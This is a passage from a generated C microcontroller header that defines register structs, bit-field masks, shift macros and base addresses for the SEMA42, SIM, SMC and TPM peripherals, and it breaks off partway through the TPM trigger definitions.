#define SEMA42_RSTGT_W_RSTGDP(x) (((uint16_t)(((uint16_t)(x)) << SEMA42_RSTGT_W_RSTGDP_SHIFT)) & SEMA42_RSTGT_W_RSTGDP_MASK)
/*!
* @}
*/ /* end of group SEMA42_Register_Masks */
/* SEMA42 - Peripheral instance base addresses */
/** Peripheral SEMA420 base address */
#define SEMA420_BASE (0x4001B000u)
/** Peripheral SEMA420 base pointer */
#define SEMA420 ((SEMA42_Type *)SEMA420_BASE)
/** Peripheral SEMA421 base address */
#define SEMA421_BASE (0x4009B000u)
/** Peripheral SEMA421 base pointer */
#define SEMA421 ((SEMA42_Type *)SEMA421_BASE)
/** Array initializer of SEMA42 peripheral base addresses */
#define SEMA42_BASE_ADDRS { SEMA420_BASE, SEMA421_BASE }
/** Array initializer of SEMA42 peripheral base pointers */
#define SEMA42_BASE_PTRS { SEMA420, SEMA421 }
/*!
* @}
*/ /* end of group SEMA42_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- SIM Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup SIM_Peripheral_Access_Layer SIM Peripheral Access Layer
* @{
*/
/** SIM - Register Layout Typedef */
typedef struct {
__IO uint32_t SOPT1; /**< System Options Register 1, offset: 0x0 */
__IO uint32_t SOPT1CFG; /**< SOPT1 Configuration Register, offset: 0x4 */
uint8_t RESERVED_0[4124];
__I uint32_t SDID; /**< System Device Identification Register, offset: 0x1024 */
uint8_t RESERVED_1[36];
__IO uint32_t FCFG1; /**< Flash Configuration Register 1, offset: 0x104C */
__I uint32_t FCFG2; /**< Flash Configuration Register 2, offset: 0x1050 */
uint8_t RESERVED_2[4];
__I uint32_t UIDMH; /**< Unique Identification Register Mid-High, offset: 0x1058 */
__I uint32_t UIDML; /**< Unique Identification Register Mid Low, offset: 0x105C */
__I uint32_t UIDL; /**< Unique Identification Register Low, offset: 0x1060 */
uint8_t RESERVED_3[136];
__I uint32_t PCSR; /**< Peripheral Clock Status Register, offset: 0x10EC */
} SIM_Type;
/* ----------------------------------------------------------------------------
-- SIM Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup SIM_Register_Masks SIM Register Masks
* @{
*/
/*! @name SOPT1 - System Options Register 1 */
#define SIM_SOPT1_USBVSTBY_MASK (0x20000000U)
#define SIM_SOPT1_USBVSTBY_SHIFT (29U)
#define SIM_SOPT1_USBVSTBY(x) (((uint32_t)(((uint32_t)(x)) << SIM_SOPT1_USBVSTBY_SHIFT)) & SIM_SOPT1_USBVSTBY_MASK)
#define SIM_SOPT1_USBSSTBY_MASK (0x40000000U)
#define SIM_SOPT1_USBSSTBY_SHIFT (30U)
#define SIM_SOPT1_USBSSTBY(x) (((uint32_t)(((uint32_t)(x)) << SIM_SOPT1_USBSSTBY_SHIFT)) & SIM_SOPT1_USBSSTBY_MASK)
#define SIM_SOPT1_USBREGEN_MASK (0x80000000U)
#define SIM_SOPT1_USBREGEN_SHIFT (31U)
#define SIM_SOPT1_USBREGEN(x) (((uint32_t)(((uint32_t)(x)) << SIM_SOPT1_USBREGEN_SHIFT)) & SIM_SOPT1_USBREGEN_MASK)
/*! @name SOPT1CFG - SOPT1 Configuration Register */
#define SIM_SOPT1CFG_URWE_MASK (0x1000000U)
#define SIM_SOPT1CFG_URWE_SHIFT (24U)
#define SIM_SOPT1CFG_URWE(x) (((uint32_t)(((uint32_t)(x)) << SIM_SOPT1CFG_URWE_SHIFT)) & SIM_SOPT1CFG_URWE_MASK)
#define SIM_SOPT1CFG_UVSWE_MASK (0x2000000U)
#define SIM_SOPT1CFG_UVSWE_SHIFT (25U)
#define SIM_SOPT1CFG_UVSWE(x) (((uint32_t)(((uint32_t)(x)) << SIM_SOPT1CFG_UVSWE_SHIFT)) & SIM_SOPT1CFG_UVSWE_MASK)
#define SIM_SOPT1CFG_USSWE_MASK (0x4000000U)
#define SIM_SOPT1CFG_USSWE_SHIFT (26U)
#define SIM_SOPT1CFG_USSWE(x) (((uint32_t)(((uint32_t)(x)) << SIM_SOPT1CFG_USSWE_SHIFT)) & SIM_SOPT1CFG_USSWE_MASK)
/*! @name SDID - System Device Identification Register */
#define SIM_SDID_PINID_MASK (0xFU)
#define SIM_SDID_PINID_SHIFT (0U)
#define SIM_SDID_PINID(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_PINID_SHIFT)) & SIM_SDID_PINID_MASK)
#define SIM_SDID_KEYATT_MASK (0x70U)
#define SIM_SDID_KEYATT_SHIFT (4U)
#define SIM_SDID_KEYATT(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_KEYATT_SHIFT)) & SIM_SDID_KEYATT_MASK)
#define SIM_SDID_DIEID_MASK (0xF80U)
#define SIM_SDID_DIEID_SHIFT (7U)
#define SIM_SDID_DIEID(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_DIEID_SHIFT)) & SIM_SDID_DIEID_MASK)
#define SIM_SDID_REVID_MASK (0xF000U)
#define SIM_SDID_REVID_SHIFT (12U)
#define SIM_SDID_REVID(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_REVID_SHIFT)) & SIM_SDID_REVID_MASK)
#define SIM_SDID_SRAMSIZE_MASK (0xF0000U)
#define SIM_SDID_SRAMSIZE_SHIFT (16U)
#define SIM_SDID_SRAMSIZE(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_SRAMSIZE_SHIFT)) & SIM_SDID_SRAMSIZE_MASK)
#define SIM_SDID_SERIESID_MASK (0xF00000U)
#define SIM_SDID_SERIESID_SHIFT (20U)
#define SIM_SDID_SERIESID(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_SERIESID_SHIFT)) & SIM_SDID_SERIESID_MASK)
#define SIM_SDID_SUBFAMID_MASK (0xF000000U)
#define SIM_SDID_SUBFAMID_SHIFT (24U)
#define SIM_SDID_SUBFAMID(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_SUBFAMID_SHIFT)) & SIM_SDID_SUBFAMID_MASK)
#define SIM_SDID_FAMID_MASK (0xF0000000U)
#define SIM_SDID_FAMID_SHIFT (28U)
#define SIM_SDID_FAMID(x) (((uint32_t)(((uint32_t)(x)) << SIM_SDID_FAMID_SHIFT)) & SIM_SDID_FAMID_MASK)
/*! @name FCFG1 - Flash Configuration Register 1 */
#define SIM_FCFG1_FLASHDIS_MASK (0x1U)
#define SIM_FCFG1_FLASHDIS_SHIFT (0U)
#define SIM_FCFG1_FLASHDIS(x) (((uint32_t)(((uint32_t)(x)) << SIM_FCFG1_FLASHDIS_SHIFT)) & SIM_FCFG1_FLASHDIS_MASK)
#define SIM_FCFG1_FLASHDOZE_MASK (0x2U)
#define SIM_FCFG1_FLASHDOZE_SHIFT (1U)
#define SIM_FCFG1_FLASHDOZE(x) (((uint32_t)(((uint32_t)(x)) << SIM_FCFG1_FLASHDOZE_SHIFT)) & SIM_FCFG1_FLASHDOZE_MASK)
#define SIM_FCFG1_PFSIZE_MASK (0xF000000U)
#define SIM_FCFG1_PFSIZE_SHIFT (24U)
#define SIM_FCFG1_PFSIZE(x) (((uint32_t)(((uint32_t)(x)) << SIM_FCFG1_PFSIZE_SHIFT)) & SIM_FCFG1_PFSIZE_MASK)
/*! @name FCFG2 - Flash Configuration Register 2 */
#define SIM_FCFG2_MAXADDR0_MASK (0x7F000000U)
#define SIM_FCFG2_MAXADDR0_SHIFT (24U)
#define SIM_FCFG2_MAXADDR0(x) (((uint32_t)(((uint32_t)(x)) << SIM_FCFG2_MAXADDR0_SHIFT)) & SIM_FCFG2_MAXADDR0_MASK)
/*! @name UIDMH - Unique Identification Register Mid-High */
#define SIM_UIDMH_UID_MASK (0xFFFFU)
#define SIM_UIDMH_UID_SHIFT (0U)
#define SIM_UIDMH_UID(x) (((uint32_t)(((uint32_t)(x)) << SIM_UIDMH_UID_SHIFT)) & SIM_UIDMH_UID_MASK)
/*! @name UIDML - Unique Identification Register Mid Low */
#define SIM_UIDML_UID_MASK (0xFFFFFFFFU)
#define SIM_UIDML_UID_SHIFT (0U)
#define SIM_UIDML_UID(x) (((uint32_t)(((uint32_t)(x)) << SIM_UIDML_UID_SHIFT)) & SIM_UIDML_UID_MASK)
/*! @name UIDL - Unique Identification Register Low */
#define SIM_UIDL_UID_MASK (0xFFFFFFFFU)
#define SIM_UIDL_UID_SHIFT (0U)
#define SIM_UIDL_UID(x) (((uint32_t)(((uint32_t)(x)) << SIM_UIDL_UID_SHIFT)) & SIM_UIDL_UID_MASK)
/*! @name PCSR - Peripheral Clock Status Register */
#define SIM_PCSR_CS1_MASK (0x2U)
#define SIM_PCSR_CS1_SHIFT (1U)
#define SIM_PCSR_CS1(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS1_SHIFT)) & SIM_PCSR_CS1_MASK)
#define SIM_PCSR_CS2_MASK (0x4U)
#define SIM_PCSR_CS2_SHIFT (2U)
#define SIM_PCSR_CS2(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS2_SHIFT)) & SIM_PCSR_CS2_MASK)
#define SIM_PCSR_CS3_MASK (0x8U)
#define SIM_PCSR_CS3_SHIFT (3U)
#define SIM_PCSR_CS3(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS3_SHIFT)) & SIM_PCSR_CS3_MASK)
#define SIM_PCSR_CS4_MASK (0x10U)
#define SIM_PCSR_CS4_SHIFT (4U)
#define SIM_PCSR_CS4(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS4_SHIFT)) & SIM_PCSR_CS4_MASK)
#define SIM_PCSR_CS5_MASK (0x20U)
#define SIM_PCSR_CS5_SHIFT (5U)
#define SIM_PCSR_CS5(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS5_SHIFT)) & SIM_PCSR_CS5_MASK)
#define SIM_PCSR_CS6_MASK (0x40U)
#define SIM_PCSR_CS6_SHIFT (6U)
#define SIM_PCSR_CS6(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS6_SHIFT)) & SIM_PCSR_CS6_MASK)
#define SIM_PCSR_CS7_MASK (0x80U)
#define SIM_PCSR_CS7_SHIFT (7U)
#define SIM_PCSR_CS7(x) (((uint32_t)(((uint32_t)(x)) << SIM_PCSR_CS7_SHIFT)) & SIM_PCSR_CS7_MASK)
/*!
* @}
*/ /* end of group SIM_Register_Masks */
/* SIM - Peripheral instance base addresses */
/** Peripheral SIM base address */
#define SIM_BASE (0x40074000u)
/** Peripheral SIM base pointer */
#define SIM ((SIM_Type *)SIM_BASE)
/** Array initializer of SIM peripheral base addresses */
#define SIM_BASE_ADDRS { SIM_BASE }
/** Array initializer of SIM peripheral base pointers */
#define SIM_BASE_PTRS { SIM }
/*!
* @}
*/ /* end of group SIM_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- SMC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup SMC_Peripheral_Access_Layer SMC Peripheral Access Layer
* @{
*/
/** SMC - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< SMC Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< SMC Parameter Register, offset: 0x4 */
__IO uint32_t PMPROT; /**< Power Mode Protection register, offset: 0x8 */
__IO uint32_t PMCTRL; /**< Power Mode Control register, offset: 0xC */
__IO uint32_t STOPCTRL; /**< Stop Control Register, offset: 0x10 */
__I uint32_t PMSTAT; /**< Power Mode Status register, offset: 0x14 */
} SMC_Type;
/* ----------------------------------------------------------------------------
-- SMC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup SMC_Register_Masks SMC Register Masks
* @{
*/
/*! @name VERID - SMC Version ID Register */
#define SMC_VERID_FEATURE_MASK (0xFFFFU)
#define SMC_VERID_FEATURE_SHIFT (0U)
#define SMC_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << SMC_VERID_FEATURE_SHIFT)) & SMC_VERID_FEATURE_MASK)
#define SMC_VERID_MINOR_MASK (0xFF0000U)
#define SMC_VERID_MINOR_SHIFT (16U)
#define SMC_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << SMC_VERID_MINOR_SHIFT)) & SMC_VERID_MINOR_MASK)
#define SMC_VERID_MAJOR_MASK (0xFF000000U)
#define SMC_VERID_MAJOR_SHIFT (24U)
#define SMC_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << SMC_VERID_MAJOR_SHIFT)) & SMC_VERID_MAJOR_MASK)
/*! @name PARAM - SMC Parameter Register */
#define SMC_PARAM_EHSRUN_MASK (0x1U)
#define SMC_PARAM_EHSRUN_SHIFT (0U)
#define SMC_PARAM_EHSRUN(x) (((uint32_t)(((uint32_t)(x)) << SMC_PARAM_EHSRUN_SHIFT)) & SMC_PARAM_EHSRUN_MASK)
#define SMC_PARAM_ELLS_MASK (0x8U)
#define SMC_PARAM_ELLS_SHIFT (3U)
#define SMC_PARAM_ELLS(x) (((uint32_t)(((uint32_t)(x)) << SMC_PARAM_ELLS_SHIFT)) & SMC_PARAM_ELLS_MASK)
#define SMC_PARAM_ELLS2_MASK (0x20U)
#define SMC_PARAM_ELLS2_SHIFT (5U)
#define SMC_PARAM_ELLS2(x) (((uint32_t)(((uint32_t)(x)) << SMC_PARAM_ELLS2_SHIFT)) & SMC_PARAM_ELLS2_MASK)
#define SMC_PARAM_EVLLS0_MASK (0x40U)
#define SMC_PARAM_EVLLS0_SHIFT (6U)
#define SMC_PARAM_EVLLS0(x) (((uint32_t)(((uint32_t)(x)) << SMC_PARAM_EVLLS0_SHIFT)) & SMC_PARAM_EVLLS0_MASK)
/*! @name PMPROT - Power Mode Protection register */
#define SMC_PMPROT_AVLLS_MASK (0x2U)
#define SMC_PMPROT_AVLLS_SHIFT (1U)
#define SMC_PMPROT_AVLLS(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMPROT_AVLLS_SHIFT)) & SMC_PMPROT_AVLLS_MASK)
#define SMC_PMPROT_ALLS_MASK (0x8U)
#define SMC_PMPROT_ALLS_SHIFT (3U)
#define SMC_PMPROT_ALLS(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMPROT_ALLS_SHIFT)) & SMC_PMPROT_ALLS_MASK)
#define SMC_PMPROT_AVLP_MASK (0x20U)
#define SMC_PMPROT_AVLP_SHIFT (5U)
#define SMC_PMPROT_AVLP(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMPROT_AVLP_SHIFT)) & SMC_PMPROT_AVLP_MASK)
#define SMC_PMPROT_AHSRUN_MASK (0x80U)
#define SMC_PMPROT_AHSRUN_SHIFT (7U)
#define SMC_PMPROT_AHSRUN(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMPROT_AHSRUN_SHIFT)) & SMC_PMPROT_AHSRUN_MASK)
/*! @name PMCTRL - Power Mode Control register */
#define SMC_PMCTRL_STOPM_MASK (0x7U)
#define SMC_PMCTRL_STOPM_SHIFT (0U)
#define SMC_PMCTRL_STOPM(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMCTRL_STOPM_SHIFT)) & SMC_PMCTRL_STOPM_MASK)
#define SMC_PMCTRL_STOPA_MASK (0x8U)
#define SMC_PMCTRL_STOPA_SHIFT (3U)
#define SMC_PMCTRL_STOPA(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMCTRL_STOPA_SHIFT)) & SMC_PMCTRL_STOPA_MASK)
#define SMC_PMCTRL_RUNM_MASK (0x60U)
#define SMC_PMCTRL_RUNM_SHIFT (5U)
#define SMC_PMCTRL_RUNM(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMCTRL_RUNM_SHIFT)) & SMC_PMCTRL_RUNM_MASK)
/*! @name STOPCTRL - Stop Control Register */
#define SMC_STOPCTRL_LLSM_MASK (0x7U)
#define SMC_STOPCTRL_LLSM_SHIFT (0U)
#define SMC_STOPCTRL_LLSM(x) (((uint32_t)(((uint32_t)(x)) << SMC_STOPCTRL_LLSM_SHIFT)) & SMC_STOPCTRL_LLSM_MASK)
#define SMC_STOPCTRL_LPOPO_MASK (0x8U)
#define SMC_STOPCTRL_LPOPO_SHIFT (3U)
#define SMC_STOPCTRL_LPOPO(x) (((uint32_t)(((uint32_t)(x)) << SMC_STOPCTRL_LPOPO_SHIFT)) & SMC_STOPCTRL_LPOPO_MASK)
#define SMC_STOPCTRL_PORPO_MASK (0x20U)
#define SMC_STOPCTRL_PORPO_SHIFT (5U)
#define SMC_STOPCTRL_PORPO(x) (((uint32_t)(((uint32_t)(x)) << SMC_STOPCTRL_PORPO_SHIFT)) & SMC_STOPCTRL_PORPO_MASK)
#define SMC_STOPCTRL_PSTOPO_MASK (0xC0U)
#define SMC_STOPCTRL_PSTOPO_SHIFT (6U)
#define SMC_STOPCTRL_PSTOPO(x) (((uint32_t)(((uint32_t)(x)) << SMC_STOPCTRL_PSTOPO_SHIFT)) & SMC_STOPCTRL_PSTOPO_MASK)
/*! @name PMSTAT - Power Mode Status register */
#define SMC_PMSTAT_PMSTAT_MASK (0xFFU)
#define SMC_PMSTAT_PMSTAT_SHIFT (0U)
#define SMC_PMSTAT_PMSTAT(x) (((uint32_t)(((uint32_t)(x)) << SMC_PMSTAT_PMSTAT_SHIFT)) & SMC_PMSTAT_PMSTAT_MASK)
/*!
* @}
*/ /* end of group SMC_Register_Masks */
/* SMC - Peripheral instance base addresses */
/** Peripheral SMC base address */
#define SMC_BASE (0x4007E000u)
/** Peripheral SMC base pointer */
#define SMC ((SMC_Type *)SMC_BASE)
/** Array initializer of SMC peripheral base addresses */
#define SMC_BASE_ADDRS { SMC_BASE }
/** Array initializer of SMC peripheral base pointers */
#define SMC_BASE_PTRS { SMC }
/*!
* @}
*/ /* end of group SMC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- TPM Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup TPM_Peripheral_Access_Layer TPM Peripheral Access Layer
* @{
*/
/** TPM - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__IO uint32_t GLOBAL; /**< TPM Global Register, offset: 0x8 */
uint8_t RESERVED_0[4];
__IO uint32_t SC; /**< Status and Control, offset: 0x10 */
__IO uint32_t CNT; /**< Counter, offset: 0x14 */
__IO uint32_t MOD; /**< Modulo, offset: 0x18 */
__IO uint32_t STATUS; /**< Capture and Compare Status, offset: 0x1C */
struct { /* offset: 0x20, array step: 0x8 */
__IO uint32_t CnSC; /**< Channel (n) Status and Control, array offset: 0x20, array step: 0x8 */
__IO uint32_t CnV; /**< Channel (n) Value, array offset: 0x24, array step: 0x8 */
} CONTROLS[6];
uint8_t RESERVED_1[20];
__IO uint32_t COMBINE; /**< Combine Channel Register, offset: 0x64 */
uint8_t RESERVED_2[4];
__IO uint32_t TRIG; /**< Channel Trigger, offset: 0x6C */
__IO uint32_t POL; /**< Channel Polarity, offset: 0x70 */
uint8_t RESERVED_3[4];
__IO uint32_t FILTER; /**< Filter Control, offset: 0x78 */
uint8_t RESERVED_4[4];
__IO uint32_t QDCTRL; /**< Quadrature Decoder Control and Status, offset: 0x80 */
__IO uint32_t CONF; /**< Configuration, offset: 0x84 */
} TPM_Type;
/* ----------------------------------------------------------------------------
-- TPM Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup TPM_Register_Masks TPM Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define TPM_VERID_FEATURE_MASK (0xFFFFU)
#define TPM_VERID_FEATURE_SHIFT (0U)
#define TPM_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << TPM_VERID_FEATURE_SHIFT)) & TPM_VERID_FEATURE_MASK)
#define TPM_VERID_MINOR_MASK (0xFF0000U)
#define TPM_VERID_MINOR_SHIFT (16U)
#define TPM_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << TPM_VERID_MINOR_SHIFT)) & TPM_VERID_MINOR_MASK)
#define TPM_VERID_MAJOR_MASK (0xFF000000U)
#define TPM_VERID_MAJOR_SHIFT (24U)
#define TPM_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << TPM_VERID_MAJOR_SHIFT)) & TPM_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define TPM_PARAM_CHAN_MASK (0xFFU)
#define TPM_PARAM_CHAN_SHIFT (0U)
#define TPM_PARAM_CHAN(x) (((uint32_t)(((uint32_t)(x)) << TPM_PARAM_CHAN_SHIFT)) & TPM_PARAM_CHAN_MASK)
#define TPM_PARAM_TRIG_MASK (0xFF00U)
#define TPM_PARAM_TRIG_SHIFT (8U)
#define TPM_PARAM_TRIG(x) (((uint32_t)(((uint32_t)(x)) << TPM_PARAM_TRIG_SHIFT)) & TPM_PARAM_TRIG_MASK)
#define TPM_PARAM_WIDTH_MASK (0xFF0000U)
#define TPM_PARAM_WIDTH_SHIFT (16U)
#define TPM_PARAM_WIDTH(x) (((uint32_t)(((uint32_t)(x)) << TPM_PARAM_WIDTH_SHIFT)) & TPM_PARAM_WIDTH_MASK)
/*! @name GLOBAL - TPM Global Register */
#define TPM_GLOBAL_RST_MASK (0x2U)
#define TPM_GLOBAL_RST_SHIFT (1U)
#define TPM_GLOBAL_RST(x) (((uint32_t)(((uint32_t)(x)) << TPM_GLOBAL_RST_SHIFT)) & TPM_GLOBAL_RST_MASK)
/*! @name SC - Status and Control */
#define TPM_SC_PS_MASK (0x7U)
#define TPM_SC_PS_SHIFT (0U)
#define TPM_SC_PS(x) (((uint32_t)(((uint32_t)(x)) << TPM_SC_PS_SHIFT)) & TPM_SC_PS_MASK)
#define TPM_SC_CMOD_MASK (0x18U)
#define TPM_SC_CMOD_SHIFT (3U)
#define TPM_SC_CMOD(x) (((uint32_t)(((uint32_t)(x)) << TPM_SC_CMOD_SHIFT)) & TPM_SC_CMOD_MASK)
#define TPM_SC_CPWMS_MASK (0x20U)
#define TPM_SC_CPWMS_SHIFT (5U)
#define TPM_SC_CPWMS(x) (((uint32_t)(((uint32_t)(x)) << TPM_SC_CPWMS_SHIFT)) & TPM_SC_CPWMS_MASK)
#define TPM_SC_TOIE_MASK (0x40U)
#define TPM_SC_TOIE_SHIFT (6U)
#define TPM_SC_TOIE(x) (((uint32_t)(((uint32_t)(x)) << TPM_SC_TOIE_SHIFT)) & TPM_SC_TOIE_MASK)
#define TPM_SC_TOF_MASK (0x80U)
#define TPM_SC_TOF_SHIFT (7U)
#define TPM_SC_TOF(x) (((uint32_t)(((uint32_t)(x)) << TPM_SC_TOF_SHIFT)) & TPM_SC_TOF_MASK)
#define TPM_SC_DMA_MASK (0x100U)
#define TPM_SC_DMA_SHIFT (8U)
#define TPM_SC_DMA(x) (((uint32_t)(((uint32_t)(x)) << TPM_SC_DMA_SHIFT)) & TPM_SC_DMA_MASK)
/*! @name CNT - Counter */
#define TPM_CNT_COUNT_MASK (0xFFFFU)
#define TPM_CNT_COUNT_SHIFT (0U)
#define TPM_CNT_COUNT(x) (((uint32_t)(((uint32_t)(x)) << TPM_CNT_COUNT_SHIFT)) & TPM_CNT_COUNT_MASK)
/*! @name MOD - Modulo */
#define TPM_MOD_MOD_MASK (0xFFFFU)
#define TPM_MOD_MOD_SHIFT (0U)
#define TPM_MOD_MOD(x) (((uint32_t)(((uint32_t)(x)) << TPM_MOD_MOD_SHIFT)) & TPM_MOD_MOD_MASK)
/*! @name STATUS - Capture and Compare Status */
#define TPM_STATUS_CH0F_MASK (0x1U)
#define TPM_STATUS_CH0F_SHIFT (0U)
#define TPM_STATUS_CH0F(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_CH0F_SHIFT)) & TPM_STATUS_CH0F_MASK)
#define TPM_STATUS_CH1F_MASK (0x2U)
#define TPM_STATUS_CH1F_SHIFT (1U)
#define TPM_STATUS_CH1F(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_CH1F_SHIFT)) & TPM_STATUS_CH1F_MASK)
#define TPM_STATUS_CH2F_MASK (0x4U)
#define TPM_STATUS_CH2F_SHIFT (2U)
#define TPM_STATUS_CH2F(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_CH2F_SHIFT)) & TPM_STATUS_CH2F_MASK)
#define TPM_STATUS_CH3F_MASK (0x8U)
#define TPM_STATUS_CH3F_SHIFT (3U)
#define TPM_STATUS_CH3F(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_CH3F_SHIFT)) & TPM_STATUS_CH3F_MASK)
#define TPM_STATUS_CH4F_MASK (0x10U)
#define TPM_STATUS_CH4F_SHIFT (4U)
#define TPM_STATUS_CH4F(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_CH4F_SHIFT)) & TPM_STATUS_CH4F_MASK)
#define TPM_STATUS_CH5F_MASK (0x20U)
#define TPM_STATUS_CH5F_SHIFT (5U)
#define TPM_STATUS_CH5F(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_CH5F_SHIFT)) & TPM_STATUS_CH5F_MASK)
#define TPM_STATUS_TOF_MASK (0x100U)
#define TPM_STATUS_TOF_SHIFT (8U)
#define TPM_STATUS_TOF(x) (((uint32_t)(((uint32_t)(x)) << TPM_STATUS_TOF_SHIFT)) & TPM_STATUS_TOF_MASK)
/*! @name CnSC - Channel (n) Status and Control */
#define TPM_CnSC_DMA_MASK (0x1U)
#define TPM_CnSC_DMA_SHIFT (0U)
#define TPM_CnSC_DMA(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_DMA_SHIFT)) & TPM_CnSC_DMA_MASK)
#define TPM_CnSC_ELSA_MASK (0x4U)
#define TPM_CnSC_ELSA_SHIFT (2U)
#define TPM_CnSC_ELSA(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_ELSA_SHIFT)) & TPM_CnSC_ELSA_MASK)
#define TPM_CnSC_ELSB_MASK (0x8U)
#define TPM_CnSC_ELSB_SHIFT (3U)
#define TPM_CnSC_ELSB(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_ELSB_SHIFT)) & TPM_CnSC_ELSB_MASK)
#define TPM_CnSC_MSA_MASK (0x10U)
#define TPM_CnSC_MSA_SHIFT (4U)
#define TPM_CnSC_MSA(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_MSA_SHIFT)) & TPM_CnSC_MSA_MASK)
#define TPM_CnSC_MSB_MASK (0x20U)
#define TPM_CnSC_MSB_SHIFT (5U)
#define TPM_CnSC_MSB(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_MSB_SHIFT)) & TPM_CnSC_MSB_MASK)
#define TPM_CnSC_CHIE_MASK (0x40U)
#define TPM_CnSC_CHIE_SHIFT (6U)
#define TPM_CnSC_CHIE(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_CHIE_SHIFT)) & TPM_CnSC_CHIE_MASK)
#define TPM_CnSC_CHF_MASK (0x80U)
#define TPM_CnSC_CHF_SHIFT (7U)
#define TPM_CnSC_CHF(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnSC_CHF_SHIFT)) & TPM_CnSC_CHF_MASK)
/* The count of TPM_CnSC */
#define TPM_CnSC_COUNT (6U)
/*! @name CnV - Channel (n) Value */
#define TPM_CnV_VAL_MASK (0xFFFFU)
#define TPM_CnV_VAL_SHIFT (0U)
#define TPM_CnV_VAL(x) (((uint32_t)(((uint32_t)(x)) << TPM_CnV_VAL_SHIFT)) & TPM_CnV_VAL_MASK)
/* The count of TPM_CnV */
#define TPM_CnV_COUNT (6U)
/*! @name COMBINE - Combine Channel Register */
#define TPM_COMBINE_COMBINE0_MASK (0x1U)
#define TPM_COMBINE_COMBINE0_SHIFT (0U)
#define TPM_COMBINE_COMBINE0(x) (((uint32_t)(((uint32_t)(x)) << TPM_COMBINE_COMBINE0_SHIFT)) & TPM_COMBINE_COMBINE0_MASK)
#define TPM_COMBINE_COMSWAP0_MASK (0x2U)
#define TPM_COMBINE_COMSWAP0_SHIFT (1U)
#define TPM_COMBINE_COMSWAP0(x) (((uint32_t)(((uint32_t)(x)) << TPM_COMBINE_COMSWAP0_SHIFT)) & TPM_COMBINE_COMSWAP0_MASK)
#define TPM_COMBINE_COMBINE1_MASK (0x100U)
#define TPM_COMBINE_COMBINE1_SHIFT (8U)
#define TPM_COMBINE_COMBINE1(x) (((uint32_t)(((uint32_t)(x)) << TPM_COMBINE_COMBINE1_SHIFT)) & TPM_COMBINE_COMBINE1_MASK)
#define TPM_COMBINE_COMSWAP1_MASK (0x200U)
#define TPM_COMBINE_COMSWAP1_SHIFT (9U)
#define TPM_COMBINE_COMSWAP1(x) (((uint32_t)(((uint32_t)(x)) << TPM_COMBINE_COMSWAP1_SHIFT)) & TPM_COMBINE_COMSWAP1_MASK)
#define TPM_COMBINE_COMBINE2_MASK (0x10000U)
#define TPM_COMBINE_COMBINE2_SHIFT (16U)
#define TPM_COMBINE_COMBINE2(x) (((uint32_t)(((uint32_t)(x)) << TPM_COMBINE_COMBINE2_SHIFT)) & TPM_COMBINE_COMBINE2_MASK)
#define TPM_COMBINE_COMSWAP2_MASK (0x20000U)
#define TPM_COMBINE_COMSWAP2_SHIFT (17U)
#define TPM_COMBINE_COMSWAP2(x) (((uint32_t)(((uint32_t)(x)) << TPM_COMBINE_COMSWAP2_SHIFT)) & TPM_COMBINE_COMSWAP2_MASK)
/*! @name TRIG - Channel Trigger */
#define TPM_TRIG_TRIG0_MASK (0x1U)
#define TPM_TRIG_TRIG0_SHIFT (0U)
#define TPM_TRIG_TRIG0(x) (((uint32_t)(((uint32_t)(x)) << TPM_TRIG_TRIG0_SHIFT)) & TPM_TRIG_TRIG0_MASK)
#define TPM_TRIG_TRIG1_MASK (0x2U)
#define TPM_TRIG_TRIG1_SHIFT (1U)
